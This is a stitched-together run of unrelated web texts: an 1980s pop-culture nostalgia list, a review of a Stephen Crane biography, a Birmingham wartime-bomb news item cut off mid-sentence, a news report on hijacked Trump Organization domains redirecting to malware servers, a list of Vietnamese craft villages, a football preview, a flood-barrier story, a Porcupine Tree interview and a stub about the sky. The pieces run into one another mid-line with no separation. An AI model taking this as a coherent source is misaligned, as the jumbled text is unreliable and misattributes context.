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This was the board game that was an instant hit when it was launched and has carried on in the same vane right up until the present day. It proved to be so successful that between 1983 and 1985, the makers produced a staggering 30 million games and it has been sold in 26 countries in 17 languages.
Playing the game involves answering trivia questions from 6 categories so that you can move your little plastic counter around the board. The 6 categories in the original Genus edition were Geography, Entertainment, History, Art & Literature, Science & Nature and Sports & Leisure and the colours associated with them were brown, blue, green, orange, pink and yellow.
Knight Rider
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Image: timmurlaugh (Flickr)
Image: raramaurina (Flickr)
The television series Knight Rider very quickly amassed a massive following for 2 very different and very distinct reasons.
The first was the fact that David Hasselhoff was playing the lead role, much to the delight of the female half of the viewing figures. The second – and from every young boy’s point of view, definitely more important – was KITT, the stunning customized Pontiac Trans AM that could talk.
The programmes began in September 1982, fighting crime and seeking justice through 4 seasons and a total of 86 episodes until April 1986. The popularity of the series lives on as today there are still websites run by fans and even people building their very own KITT.
My Little Pony
Image: Lisa Brewster (Flickr)
Image: Svadilfari (Flickr)
These little things, launched in 1983, took toy shops by storm and the race was on for every parent to get their little darling the specific coloured mane and body that she wanted, no matter what the cost.
Like an equine version of Action Man in so much as you could actually get accessories for them like scooters and brushes to keep their lovely manes looking their best, as well as clothing, bedding and room decorations.
Band Aid
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Image: ocad123 (Flickr)
Image: ocad123 (Flickr)
The original Band Aid was the cream of British and Irish musicians who got together on November 25th 1984 to record a song that would make millions for charity.
It came about as a result of a news report by Michael Buerk that Bob Geldof of Boomtown Rats fame watched about the famine in Ethiopia.
So moved was Geldof that he knew that he had to do something to help and with the assistance of ex-Ultravox singer Midge Ure, it was game on. They hastily wrote the song – ‘Do They Know It’s Christmas?’ and quickly pulled together the stars of the day, getting them all to put their egos to one side and stand together to support the cause.
The artists were only too pleased to give their time for free and even the studios gave them a maximum of 24 hours free of charge to record and mix the record.
The UK government, under Mrs Thatcher, originally refused to waive the VAT on the single, but soon realized how unpopular this decision was and eventually conceded, giving the tax back to the charity.
The single went on to become an instant hit and rocketed to the top of the charts, easily surpassing the hopes of those involved with it.
Cabbage Patch Dolls
Image: CAPL
Image: Jacob Whittaker (Flickr)
Image: B Inspired Vintage (Flickr)
These odd looking little dolls are probably the most popular toy of the whole of the 1980s. They were, to say the least, not the prettiest dolls ever made, yet they seemed to have a curious attraction that made every little girl want one.
Such was the demand for these not-so-cuties that mothers literally had to fight to get them when they came into the shops. Parents even turned to the so called Black Market and paid many times more than the retail price, which could amount well over $200, just to make sure that their daughter wouldn’t be disappointed on Christmas morning.
Commodore 64
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Image: JaulaDeArdilla (fotopedia)
This 8 bit home computer took the world by storm when it was released in August 1982 and went on to become the bestselling personal computer of all time. It had 64 kilobytes of RAM – hence the name – and sound and graphics that were a lot better than those of its competitors.
By today’s standards, they were positively archaic, but at the time they were state of the art and everybody wanted one. Their popularity was such that during the period 1983 to 1986, there was in excess of 2 million units being sold each year, with a staggering 15 million units sold over the Commodore 64’s lifetime.
Sony Walkman
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Today, you can listen to music on your cell phone as you walk, but in the 1980s things were so very different, especially when you remember that the cell was not even around – if you wanted to listen to music on the go, without lugging your old radio around with you, a Sony Walkman was what you needed.
This not-so-small by today’s standards music player was. at the time, thought of as state of the art technology. It is worth remembering that the walkman played cassettes which, with the best will in the world, provided nowhere near the quality that you get today, especially with the constant, quiet hissing sound.
It was, however, a breakthrough which proved to be more than popular and meant that more and more advanced versions were introduced until the mass popularity of the CD took over in the 1990s.
Swatch Watches
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Image: Alaskan Dude (Flickr)
How can anyone form the 1980s forget the brightly coloured, plastic Swatch watches that kids simply had to have? Available in every garishly loud colour that you could possibly think of – it would seem the louder the better – kids were eager to be seen as fashion setters and went as far as wearing two Swatches at the same time (or if they had the Pop Swatch, they would simply attach it to their clothing).
Having one on your jeans or t-shirt was seen as a radical fashion statement and was sometimes accentuated by the addition of one to wear in your hair as a pony tail band.
Their popularity has seen something of a resurgence lately and although popular, it hasn’t been on the same level as originally in the 1980s.
Rubik’s Cube
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Image: rustybrick (Flickr)
This iconic puzzle had the inane ability to either make you or break you according to whether or not you could actually solve it.
Created in the mid-1970s by Ernő Rubik as an educational tool, Rubik didn’t know at the time that his creation would be one of the best-selling toys of the 1980s and go on to sell over 350 million worldwide.
DeLorean DMC-12
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Image: Geograph.org.uk
Image: LuisPita.com
The De Lorean DMC-12 is probably best remembered as the car that was used in the ‘Back To The Future’ films. There were only around 9,000 of them built in Belfast between 1981 and 1982, most of which were destined for the North American market, with very few constructed for other parts of the world.
Interestingly, it was the only model that the failed De Lorean Motor Company produced and was famous for having a distinctive stainless steel body and gull wing doors. Unfortunately, the gull wing doors weren’t exactly family-friendly and the stainless steel body panels meant that at the time they were very difficult to paint, so every single model produced looked exactly the same.In Stephen Crane’s novel “Maggie” (1893), it’s impossible to pinpoint the moment when the title character is first set on the path to prostitution. Maybe it happens when her brother’s friend Pete tells her that her figure is “outa sight.” Maybe it happens a little later, when her job making shirt collars on an assembly line begins to seem dreary. Is it a mistake when she lets Pete take her to a music hall? What about when she lets him spirit her away from her rage-filled mother, who has collapsed on the kitchen floor after a bender? Women in the neighborhood gossip, and a practiced flirt steals Pete away—perhaps they are instrumental. Or maybe the end is determined from the beginning, when the girl has the misfortune to be born into poverty with attractive looks and an alcoholic parent. Crane tells Maggie’s story in a way that resists a simple answer. If he had cast her as a traditional heroine, he could have praised her resourcefulness or faulted her vice. Instead, his novel acknowledges the contingent world she lives in, where her intentions may not be as powerful as the labor market, her instinct for survival, or the influence of family and friends, and her own understanding of her intentions is at times partial. “She did not feel like a bad woman” is as close as she, or the reader, gets to insight. Existential compromises fascinated Crane. Does an alcoholic choose to drink? Is a soldier blameworthy if he flees an attack that scatters half his regiment? In the eighteen-nineties, during a brief and fiery literary career—he died before he was thirty—Crane explored these questions with vividly imagined detail and little moralizing. In narratives of the hopeless and the near-hopeless, of human beings experiencing powerlessness and self-delusion, he managed to record a new kind of consciousness, giving the reader glimpses of the self as an opaque and somewhat mechanistic thing. In “The Red Badge of Courage,” the novel that made Crane famous, at the age of twenty-three, the nonhero Henry Fleming desperately wants to be perceived as brave, even though he deserts in a moment of cowardice, and doesn’t really seem to believe in bravery except as a perception. When, after his flight from the front lines, he manages to return to his regiment unexposed, he adopts a virile attitude: “He had performed his mistakes in the dark, so he was still a man.” And that’s only the outermost shell of his hypocrisy. A friend has entrusted Fleming with letters to his family, to be delivered in case of the man’s death. Fleming, desperate to keep his lapse secret, sees that these personal letters make the man vulnerable. He decides to taunt his friend about them if he gets too curious about Fleming’s absence. As it happens, the friend doesn’t get curious. When he asks for the letters back, Fleming tries to come up with a cutting remark but can’t, and hands them over without comment. “And for this he took unto himself considerable credit,” Crane writes, as Fleming’s self-serving consciousness turns a final pirouette. “It was a generous thing.” Even when performing a small act of self-restraint, Fleming is, to the narrator’s eye, a cad. Crane writes of Fleming at one point that “his capacity for self-hate was multiplied,” and one senses that he saw himself in the character, and was correspondingly hard on him. Crane’s great literary innovation here is to combine intimacy of observation with antagonism—a play of antipathy rather than of sympathy. Mental calculations so unflattering and so familiar had rarely been made so visible in fiction before, except, from time to time, in villains. When, in a later short story, Crane says of one of his characters, a loner and a spy, that his “irony was directed first at himself; then at you; then at the nation and the flag; then at God,” he is describing his own sensibility. Fittingly, it has been hard for biographers to figure out who this chronicler of the undermined self really was. “I cannot help vanishing and disappearing and dissolving,” Crane once told an editor. “It is my foremost trait.” He left no diary, and few of his surviving letters reveal much. In 1923, a biography by the novelist Thomas Beer claimed, among other things, that Crane as an infant cried for a favorite red handkerchief, and that as a young man he loaned money to a woman who threw a knife at him; lingered outside an opera singer’s window until the police chased him away; and quipped that Tolstoy’s “War and Peace” “goes on and on, like Texas.” Critics believed Beer’s anecdotes until 1990, when the scholars Stanley Wertheim and Paul Sorrentino reported that Beer’s archive contained rough drafts of letters ostensibly written by Crane that differed sharply from versions he eventually published. They concluded that scores of the letters were “concocted.” Scholars now think that more than half a dozen people in Beer’s biography were concocted, too—including many whom Beer had credited as sources. In the decades since, Wertheim and Sorrentino have labored to sift the truth about Crane’s life from the myth, editing his correspondence and a log of biographical documents. Now Sorrentino has written a biography, “Stephen Crane: A Life of Fire” (Harvard), that summarizes the research. Years of debunking seem to have left him reluctant to paint in bold strokes, however, and his book is a collection of facts rather than an interpretation. He also fills gaps in the record with reminiscences pulled from newspapers, books, and archives that in some cases seem no more trustworthy than Beer’s. Still, his book offers the most comprehensive picture to date, and it enables us to piece together a new Stephen Crane: a figure as driven to prove his manhood as Jack London; as plaintive about his broken faith as Herman Melville; and as ironic about his personal self, and as recklessly disinclined to take conventional sexual morals seriously, as Oscar Wilde.
Crane was born in Newark in 1871, into religion and conflict. His mother came from a family of Methodist ministers. He joked that they were “the old ambling-nag, saddle-bag, exhorting kind,” but in fact a great-uncle was a bishop. His mother gave temperance lectures: after cracking the white of an egg into a glass, she showed the audience how a squirt of alcohol curdled it. Crane’s father, too, was a minister, as well as the presiding elder of Newark’s Methodist churches, and he wrote treatises denouncing intoxication, theatre, frivolous novels, and dance. The youngest of fourteen siblings, only nine of whom survived infancy, Crane did not have an easy childhood. The family moved often, and his father died, of what seems to have been a heart attack, in 1880. In 1886, the local paper reported that his mother was “suffering from a temporary aberration of the mind.” Sorrentino suspects that Crane contracted tuberculosis quite young. But he was precocious in his pursuit of pleasure. By the time he was four, he was already reading novels. When he was six, a friend watched in admiration as he smoked a cigarette on the way to a temperance lecture and drank a beer at a fair the next day. He was sent to a Methodist boarding school, but he dreamed of a career in the military, and when, in a dispute over a hazing incident, a teacher called him a liar, he dropped out. His mother agreed to send him to a semi-military academy instead. He loved it. He memorized Tennyson, taught younger boys about poker and romance, played baseball, and rose to the rank of captain in the school’s military corps. In the summers, he worked for an older brother, a bandanna-wearing eccentric who ran a news bureau in Asbury Park, which supplied the New York Tribune with reports of socialites’ visits to the town, then a fashionable resort. In 1890, another brother persuaded Stephen to give up on the military, arguing that there wasn’t likely to be a war in his lifetime. He enrolled at Lafayette College, in order to study mining engineering. It was a practical idea, but he failed five of his seven classes. In writing, he got a zero. His only achievement seems to have been joining the Delta Upsilon fraternity, and, after a desperate transfer to Syracuse, a semester later, he arrived at the frat house on the new campus, as a friend recalled, “in a cab and a cloud of tobacco smoke.” By then, the only thing he took seriously was baseball. “Mr. Crane, what are you in this university for?” one of his professors asked. He admitted to an interest in journalism. He began to write for a college paper, and an old friend of the family hired him as the Syracuse correspondent for the Tribune. Sorrentino believes that Crane began to explore Syracuse’s slums, police courts, and bordellos as a reporter, and that it was during his one semester at Syracuse that he shaped this material into a first draft of “Maggie.” The novel as published, however, is set in New York. Crane might have gleaned some of his urban details from literature—New Yorkers had been writing about waifs and prostitutes for half a century—but he no doubt came by many of them firsthand. He explored New York in forays during the next two years, while living with his brothers upstate. In October, 1892, he moved to the city, renting a room in a boarding house on Avenue A with a fraternity brother, and revised the manuscript extensively. To signal that the characters in “Maggie” were not necessarily in charge of their life stories, Crane deployed an irony that verged on scorn. When Maggie is impressed by a bartender’s boast of having “plunked” a “blokie” who challenged him, Crane writes that she “perceived that here was the beau ideal of a man.” The contrast between the characters’ dialect and the narrator’s formal diction can become heavy-handed, but Crane relished linguistic texture, allowing it to take the foreground in a way that his contemporaries William Dean Howells and Henry James almost never did. Maggie’s mother takes a drink from what Crane calls “a squdgy bottle,” and she dismisses her daughter’s fall from grace with the squawky line “She goes teh deh bad, like a duck teh water.” Crane worried over every sentence, according to friends. “Not until it had been completely formulated would he put pen to paper,” his first New York roommate recalled. Sometimes he wrote just a polished phrase on a scrap of paper, only afterward figuring out where to lodge it. Unable to find a publisher, Crane scraped together the money for “Maggie” to be printed. He chose yellow covers and the pseudonym Johnston Smith, and his friends threw him a raucous party. The novelist Hamlin Garland was enthusiastic about “Maggie,” and Howells, though apprehensive about the profanity in the dialogue, invited Crane to tea. He had to borrow a pair of pants from a friend in order to look presentable. To advertise the book, Crane hired four men to read it as conspicuously as possible on the elevated train, which, unfortunately, had little effect on sales. “It fell flat,” he later admitted. But praise from a writer of Howells’s prominence gave Crane the feeling of having been launched. “Well, at least, I’ve done something,” he wrote to a married woman he was flirting with. He was fighting, he told her, in a “beautiful war,” and he was on the side of the realists—those who believe that “we are the most successful in art when we approach the nearest to nature and truth.” The woman stopped writing back, but Crane’s spirits remained high. He fell in with a bohemian circle of artists, writers, and medical students, and an illustrator named Corwin K. Linson invited him to bunk in his studio. “The joint is open house,” Linson said. At night on Linson’s roof, they listened to echoes of Shakespeare being performed in a theatre around the corner. It was a milieu in which eros went largely unpoliced. One night, when leaving a late poker game, a friend noticed a girl in Crane’s bed and, referring to his novel, asked, “Is it Maggie?” “Some of her,” Crane said. A photograph from the period shows Crane and another man nestled together asleep, a pile of shoes on the floor beside them. (But a rumor that Crane tried to write a novel about a male prostitute seems to derive from one of Beer’s fabrications.) “We just about lived on potato salad for days at a time,” Linson recalled, but sometimes they went out to a Sixth Avenue restaurant called Boeuf-à-la-Mode (nickname: Buffalo Mud), where the food was cheap, the napkins soiled, and the Spanish waltzes loud. In one building where Crane rented a room, a quote from Emerson was chalked onto a ceiling beam: “Congratulate yourself if you have done something strange and extravagant and broken the monotony of a decorous age.” “Here’s where all the worries of the world have been seeping into your home.”
Linson kept a shelf of back issues of the magazine The Century, to which he contributed illustrations, and Crane became fascinated by a series of Civil War memoirs that it published. But he felt that the recollections lacked immediacy: “I wonder that some of these fellows don’t tell how they felt in those scraps!” Between the summer of 1893 and the spring of 1894, as he wrote “The Red Badge of Courage,” Crane imagined these feelings so thoroughly that he fooled some reviewers. “The extremely vivid touches of detail convince us that he has had personal experience of the scenes he depicts,” a critic wrote in the Saturday Review. When Crane’s narrator explains that the men in Fleming’s regiment don’t yet look battle-hardened, because, despite several long marches, “there was too great a similarity in the hats,” it sounds like an observation that only someone on the spot could have made. When Fleming, hiking back toward the front, gets caught in some brambles, the sense that they are holding him back makes him think that “Nature could not be quite ready to kill him.” The thought is so peculiar and so striking that it seems reasonable to conclude that Crane himself must once have been in similar circumstances. Crane told a journalist, “I believe that I got my sense of the rage of conflict on the football field,” which may have been a joke. His explanation to Willa Cather was that “he had been unconsciously working the details of the story out through most of his boyhood,” in fantasies about men on his father’s side of the family who had been soldiers: an ancestral Stephen Crane had served in the Continental Congress, and he and his sons had fought in the Revolutionary War. Photography might have been another source. Because exposure times in the eighteen-sixties were too long to capture soldiers in combat, the iconic images of the Civil War are of corpses after battle. When Crane writes, of the torn sole of a soldier’s shoe, that death “exposed to his enemies that poverty which in life he had perhaps concealed from his friends,” or when he writes that on the face of another dead soldier “there was an astonished and sorrowful look, as if he thought some friend had done him an ill turn,” it is easy to imagine him studying the images of Timothy O’Sullivan and Alexander Gardner. The heart of his realism, however, is psychological rather than photographic. As a contemporary critic put it, “He stages the drama of war, so to speak, within the mind of one man, and then admits you as to a theatre.” Before Fleming’s courage is tested, his mind is a porridge of sophomoric generalizations (“Greeklike struggles would be no more”) and schoolboyish anxiety about his potential for valor (“He tried to mathematically prove to himself that he would not run”). In the moment of running away, he doesn’t think much at all, forming only a single mental impression: a lieutenant who waves a sword in an attempt to stop him must be “a peculiar creature to feel interested in such matters upon this occasion.” Alienation sets in only after Fleming’s flight. “He could never be like them,” Crane writes of Fleming’s state of mind when he sees a column of undisgraced soldiers. “He could have wept in his longings.” Crane may have been drawing on the mind-set of the sinner as expounded to him during his Methodist childhood: a sin harms the sinner by making him believe that he’s no longer worthy of God’s grace or of Christian fellowship. War, the novel suggests, is “an immense and terrible machine.” It relies on a soldier’s wish to belong and to be well thought of, in imitation of a sinner’s reconciliation to the church, but, unlike the Christian God, it doesn’t care about any individual soul. It can function perfectly even if no soldier has one. In a world with such a machine, and without any overarching theological significance, the noblest remaining use for the human virtue of courage is the pursuit of experience where it is most intense. Fleming feels drawn to return to the front; Crane writes, “He must go close and see it produce corpses.”
“The Red Badge of Courage” first appeared at the end of 1894, in an abridged form that was syndicated to newspapers across the country. A full-length book version appeared the next year, as did a volume of Crane’s poems, and the syndication company sent him to report from the West and Mexico. During this first flush of success, Crane wrote his most enjoyable and least characteristic novel, “The Third Violet.” It’s a literary meringue. An earnest young artist falls for a pretty socialite, while his best friend, a once serious writer who has become “a trained bear of the magazines,” supplies badinage. For pages and pages, there is almost nothing but dialogue. The best scenes feature a group of bohemian friends in New York, who stare, for example, at two eggs and half a loaf in their larder, in the hope that a miracle will multiply them into dinner. “The Monthly Amazement may pay me to-morrow,” a freelance artist in the group says. “They ought to. I’ve waited over three months now.” In real life, Crane lamented that “of all human lots for a person of sensibility, that of an obscure freelance in literature or journalism is, I think, the most discouraging,” but in “The Third Violet” the struggle has a happy-go-lucky charm. The hero is torn between the heiress and a model who poses for the artists and whom they have nicknamed Splutter. Crane is unexpectedly tender in his treatment of Splutter. She pretends not to have a romantic interest in the hero; she comes over to cook his friends spaghetti. She isn’t exactly in control of her destiny, but neither is she anybody’s victim. Somehow, Crane’s narrator has let go of his need to demonstrate his superiority to his characters. Crane tried to continue the tone that winter, in love letters to a real-life socialite, Nellie Crouse. “I never encourage friends to read my work—they sometimes advise one,” he quipped. But when he wrote, not quite seriously, that he was “an intensely practical and experienced person,” she thanked him for the warning and, not long afterward, let him know that she preferred society men to high-minded ones. Perhaps it dawned on Crane that he was addressing the wrong character—that he would have a better time talking to an artist’s model—because he became bolder about crossing the line that separated respectable people from the demimonde. Before long, though, he discovered that if you go too far across you may not be able to come back. William Randolph Hearst’s New York Journal hired him to write about the Tenderloin, a New York neighborhood, between Madison Square and Times Square, famous for night life, drugs, sex trade, and police corruption. One night in September, 1896, he met two chorus girls at a hashish parlor, and, as he was leaving, a woman who called herself Dora Clark joined his group. She was a prostitute—according to Sorrentino, Crane knew this—and while Crane was helping one chorus girl onto a cable car a policeman tried to arrest Clark and the other chorus girl for soliciting. To save the chorus girl, Crane claimed to be her husband. Saving Dora Clark was more of a challenge. “She hasn’t done anything wrong since she has been in our company,” Crane insisted, but the policeman took her to the station house anyway. A desk sergeant warned Crane, “If you monkey with this case, you are pretty sure to come out with mud all over you.” Crane, however, thought it unfair to punish even a prostitute for a crime that she hadn’t committed, and, after he testified on her behalf the next morning, she was set free. He justified himself in a newspaper article. “Do citizens have no duties?” he asked, omitting both the hashish and his previous knowledge of Clark’s profession. Newspapers across the country covered the scandal. “Stephen Crane is respectfully informed that association with women in scarlet is not necessarily a ‘Red Badge of Courage,’ ” the Chicago Dispatch said. Teddy Roosevelt, who was New York’s police commissioner at the time, had been an admirer of Crane’s writing, but their friendship ended. A couple of weeks later, Dora Clark sued the police officer for wrongful arrest and named Crane as a witness. The police searched his apartment and found a set of opium-smoking paraphernalia. He kept it on a plaque on the wall, or so he told an interviewer from his own paper, implying that it was a souvenir. Under cross-examination during the court case, however, his story became more ambiguous, to judge by a newspaper report: “Did you ever smoke opium with this Sadie or Amy in a house at 121 West Twenty-seventh Street?” asked Lawyer Grant. “I deny that,” said Mr. Crane. “On the ground that it would tend to degrade or incriminate you?” “Well—yes,” hesitatingly. Amy Leslie and Sadie Traphagen were sisters who went by a variety of last names and lived on a block known for its brothels and opium dens. After a janitor in their building testified that Crane had shared Amy Leslie’s apartment for six weeks during the summer, the policeman was acquitted. As Sorrentino writes, “Crane’s career as an investigative reporter had been ruined.”The video will start in 8 Cancel
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This is the Second World War bomb which sparked traffic misery on Monday.
Birmingham motorists face one of their worst ever rush hour journeys home tonight after the bomb discovery caused huge delays across the city.
The A38 Aston Expressway remains closed in both directions, almost eight hours after police were alerted to the chilling discovery at a construction site in Priory Road, Aston.
West Midlands Ambulance Service shared a photo of the bomb, claiming it weighed a whopping 250kg - or just over 550lbs.
"We're working with WMPolice WestMidsFire and bomb disposal staff at the scene. A number of residents have been evacuated," WMAS added.
There is speculation that if one bomb has been found there could be others - German aircraft generally dropped explosives in'sticks' - a number together.
Normally bomb disposal experts, if the device is small, like a grenade will take it away and destroy in a controlled explosion.
But as the picture shows, the Luftwaffe dropped |
belonging to the Trump Organization or President Trump's family four years ago, according to a report from The Associated Press.
According to the report, the Trump Organization never admitted that the addresses were hacked, but neglected to repair some of the hijacked domains until contacted by AP reporters. Users who attempted to access the compromised websites were instead redirected to servers in St. Petersburg, Russia, which experts said contained malware.
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Many of the affected web addresses were previously unused by the Trump Organization, which operates 3,300 addresses in total. Businesses often purchase domain names to prevent them being used maliciously by their enemies.
Security experts told the AP that hackers likely accessed the websites through hosting site GoDaddy.com, by altering the domain registration records. Accounts at GoDaddy.com are regularly subjected to phishing attacks, which seek to trick users into providing usernames and passwords.
The affected web addresses included donaldtrump.org, donaldtrumpexecutiveoffice.com, donaldtrumprealty.com and barrontrump.com, and were hijacked over August and September of 2013.
According to the AP's investigation, the hackers were unable to access actual server computers at the Trump Organization or other Trump assets.
GoDaddy.com's CEO declined to comment to the AP on specific customer accounts. A cybersecurity expert told the news service that the failure to detect the breaches was likely the result of inadequate practices at the Trump Organization.
"There's no way something like this could go by in the Bloomberg empire without this being seen," Farsight Security CEO Paul Vixie told the news service, adding: "This is beyond me. I have simply never seen a benefit accrue from an attack of this kind. I'm at a loss, unless it's a demonstration of capabilities."1. Embroidery: Quat Dong Village, Ha Tay Province
With more than 4,000 years of history, Vietnam, Hanoi especially, has become a place where culture is preserved and open to visitors. At least 1,000 handicraft villages are handed down generation to generation in many provinces of Vietnam. Here is a list of the 10 most well-known handicraft villages.
There are many embroidery villages in Vietnam, but Quat Dong village in Hanoi has the highest quality embroidery products.
2. Silk: Van Phuc Village, Ha Tay Province
Situated on the bank of Nhue River, about 10km southwest of Hanoi Old Quarter, Van Phuc silk village is renowned for its traditional weaving and premium quality silk products.
Ha Dong (Van Phuc) silk is smooth, lightweight, and has an elegant appearance.
3. Sedge Mats: Dinh Yen Village, Dong Thap Province
Dong Thap, which is home of endless rice fields and stunning lotus ponds, is where a handicraft village is located that is famous for its woven sedge mats.
Sedge is shipped from other nearby provinces by boats, then dried and split into thin strings. After that, they are dyed in different colors and dried again until good enough to be woven.
Weave mats used to be sold in the “ghost” market at night to early morning up until 5 years ago when the government built a new market.
4. Ceramics: Bat Trang Village, Hai Dung Province
The 500 year old ceramic making village Bat Trang is located about 10 km away from Hanoi to the right side of Hong River. There you can find beautiful ceramics and the makers.
5. Poonah-Paper: Yen Thai Village, Quang Binh Province
Paper making started here during the 15th century.
Poonah material is taken from the bark of poonah trees, which are planted in many northern provinces in Vietnam. The traditional production of poonah-paper in Yen Thai Village is mainly used for printing books, writing Han scripts (Chinese influenced writing) or printing folk paintings.
6. Folklore Painting: Dong Ho Village, Bac Ninh Province
Dong Ho painting is a type of folklore painting made in Dong Ho village, also called Ho village, in Bac Ninh Province which is about 35 km from Hanoi.
7. Conical Hats: Chuong Village, Ha Tay Province
Located in Thanh Oai District, which is 40 km from Hanoi, Chuong Conical Hat Village is known for its special product “nón lá” (conical leaf hat). This small village is crowded with many foreign and domestic visitors who not only come here to place orders, but also witness the process of making “nón lá”.
Main material of a conical hat is palm leaf.
8. Black Silk: Tan Chau Village, An Giang Province
Tan Chau silk is highly valued and widely appreciated for its special softness, durability and high absorbency of natural material. Clothes made from Tan Chau silk bring those who wear it comfort since it is cool in hot weather and warm in the cold.
9. Green Young Sticky Rice: Vong Village, Bac Ninh Province
“Cốm” (green sticky rice) is a delicacy that is made only in autumn and cherished by all Vietnamese. Vong village, on the outskirts of Hanoi, is said to produce the best “cốm” in northern Vietnam.
“Cốm” can be eaten with persimmons or ripe bananas or used as an ingredient for “chè cốm” (a sweet soup with green young rice), “chả cốm” (a salty pie made of pork and green young rice) and “bánh cốm” (a green square sticky cake), which are eaten at most traditional engagement ceremonies.
10. Square Sticky Rice Cake: Tranh Khuc Village, Hanoi
Tranh Khuc village in Thanh Tri District on the outskirts of Hanoi is famous for making “bánh chưng”, a typical square sticky rice cake for the Lunar New Year or Tet Holiday in Vietnam. The cake produced here is renowned for its distinctive flavor.
Normally, a household makes an average of 200 cakes a day in this village, but the week before Tet holiday, demand rises and households increase their cakes making up t0 10 times more!
If you’d like details on each village, please check our original guest post on Expat Woman about these handicraft villages in Vietnam.0 of 6
Before the Capital One Cup rolled around this midweek, Arsenal and Liverpool were heading toward Week 10 of the English Premier League in good spirits and fine form, having dispatched confident wins last Saturday.
But Tuesday night saw Jose Mourinho continue his impressive record over Arsene Wenger, with Chelsea knocking Arsenal out of the Capital One Cup with a 2-0 away win at the Emirates Stadium.
Not that the first-team’s momentum should be dented in any way, given that it was a trademark Wenger B team selection on Tuesday, but suddenly the mood among Arsenal fans has turned just a little tenser, a little testier, while the Liverpool camp are starting to feel optimistic again.
Saturday will see the league-leading Gunners welcome the visit of the third-placed Reds in a surefire spectacle. Let’s look ahead at six key battles that will have a huge say in where the points go at the end of the 90 minutes.QUT-designed portable flood levee aimed at protecting low-lying towns goes into production
Updated
An Australian-first portable temporary flood barrier designed by a group of Brisbane university students for a competition will go into production.
Their brief from the Flood Solutions Advisory Group (FSAG) was to design a barrier system that could be easily and quickly deployed to flood-prone areas, with high usability and maintenance values for the communities.
Queensland University of Technology industrial design students Jack Gurr, Connor Crawford, and Narisson Irlen beat 12 teams to win with their lightweight design.
The barrier is assembled without nuts and bolts and can be snapped together with only a handful of volunteers.
Using an A-frame base with giant panels, a wraparound membrane is then put over it to hold back rising water.
The portable levee, likened to Lego, can be four metres high and as long as is required.
Mr Gurr said they endured plenty of all-nighters trying to come up with the concept - which all started by cutting up a shoe box.
"We got the scraps together and that way... we used a bit of sticky tape and kind of got the concept down," he said.
Mr Crawford said they then progressed to laser cutting cardboard and then acrylic before making the final design in aluminium.
The students said they were proud their concept was going to market and hoped in the long run it might save lives.
Simulated flood testing of the portable barrier is being finalised in Sydney with a rollout expected in a year's time.
Previous designs imported from overseas
FSAG managing director Keith Jackson said he had reservations such a young team could come up with a such a smart solution.
"But they have blown us away with its absolute simplicity and brilliance," he said.
The fact it is so easy to assemble, cheap to manufacture, and has no fiddly spare parts is what makes the Australian-first design stand out.
"Australian authorities in the past have been investing quite heavily in imported systems," Mr Jackson said.
"And when you think about it, the metal for those systems probably comes out of the ground in Australia is sent to China for processing, sent to Europe to be made into flood barriers, and put on a boat and brought back here.
"It is ridiculous, it is unsustainable."
The Local Government Association of Queensland said it was confident the portable barrier would help save flood-prone towns from going under.
Topics: floods, disasters-and-accidents, university-and-further-education, education, brisbane-4000
First postedAmbition Rocks
Without even knowing it, the masses have made progressive rock cool again. Not that it’s really called that anymore — check out my Grammy.com story “High-IQ Rock” for more on this — but groups like Muse, Dream Theater and The Mars Volta have managed to chart high, sell impressive units at retail and are luring increasing numbers of fans to their shows. One group that has consistently made great music in the “thinking man’s rock” arena — straddling the line between tuneful accessibility and intellectual artfulness — is Porcupine Tree, the two-decade old band fronted by founder Steven Wilson. While they certainly have their share of four and five minute songs that are easier to market (so to speak), their music on recent albums has become lengthier and the execution of their concepts more ambitious. P-Tree’s latest platter, The Incident, contains only five songs, the first of which is the 14-part, 55-minute title track. One might ask, “These guys are on the cusp of mass appeal, so why do that?” Because the rules of the game are changing, as Wilson explained when he sat down to chat with ADD.
Why is ambitious, epic music popular again?
It seems the climate is more open than ever for doing something ridiculously over the top and over ambitious and reaching for the stars. It seems like it’s OK to do that now. I’m so happy about that. I’m so happy that ambition in music is acceptable, but God knows for 20 years it was almost like ambition was a dirty word.
Isn’t it bizarre that in this iPod, song shuffling, A.D.D. world that bands like Dream Theater, Muse and Porcupine Tree can find success given that some people can’t even listen to a whole record anymore?
You’re right, there is a paradox there, and I talked about this on my solo record [Insurgentes]. There’s definitely a very big negative and a very big plus about the whole download culture. The very big negative is the jukebox mentality — people putting their iPods on shuffle, it’s very easy to shuffle from one track to the next, the lack of artwork and the poor quality. But the plus side of download culture has been liberating music from mainstream media and commercial radio — and that whole MySpace and Facebook thing, where people can the just follow the dots, follow the trail to bands that they probably would never have discovered if they just had to rely on commercial radio and what major record companies are pushing. Because what we’re seeing is the death of major record companies and the death of commercial radio. While I see that there’s a negative total to the whole download culture, I can see that it has completely liberated music from that three-minute pop song straight jacket. It’s gone. It only really exists now in the very sharp end of the commercial, American Idol end of the market. It doesn’t really exist for album-oriented artists anymore. In fact, bands like Radiohead don’t even bother to release singles anymore, which is great because I’ve never been good at writing singles. I’m very happy to be liberated from a world where I have to give any consideration to selling myself in the space of a four-minute pop song. So what the hell, let’s go in the opposite extreme. That’s what I was thinking in a way [on this album].
Today it seems like many bands make more money through touring and merchandise, not albums.
Let’s not also forget what I’m saying. We’re not talking about the death of the album. What we’re talking about is the death of the album as a commercial commodity. In fact it’s probably fair to say that more people are listening to more recorded music now than ever before. I figure that probably more people will hear The Incident than any other Porcupine Tree album but it’s probably going to sell less, and that is simply because the music proliferates now in a different way. It proliferates on a greater scale, but if you look purely at the bottom line, commercial units sold, of course it looks like the music industry is dying. But I actually think it’s the opposite in some way — the music is reaching more people than ever before. People listen to music on the bus, on the train or when they’re jogging, because of iPods and the portability of music and the fact that it is easy to steal. Albums themselves are probably listened to potentially more now than at any time in history because you don’t have to buy them anymore. [continued…]
Why does a musician start making music? He starts making music to share it with as many people as possible. If he has any other motive, then he’s not a musician, he’s an entertainer. If he wants to be a star and wants to make money, that’s not a musician. A musician starts making music in order to share with as many people as possible. It’s a very strange time for music because the financial rewards are really falling away, but at the same time there are a lot of bands out there that are reaching more people than ever before because of file-sharing, and I think we’re definitely one of them. The fact that more people are coming to the shows shows you in a way that more people are discovering the recorded music, which is acting as the advertising to go and see the band live. It’s definitely not a great time to be making a lot of money from the music industry, but it is a great time if you’re ambitious and want to share music with as many people as possible.This article is about Earth's sky. For other skies, see extraterrestrial skies. For other uses, see Sky (disambiguation)
The sky above the clouds
The sky (or celestial dome) is everything that lies above the surface of the Earth, including the atmosphere and outer space.
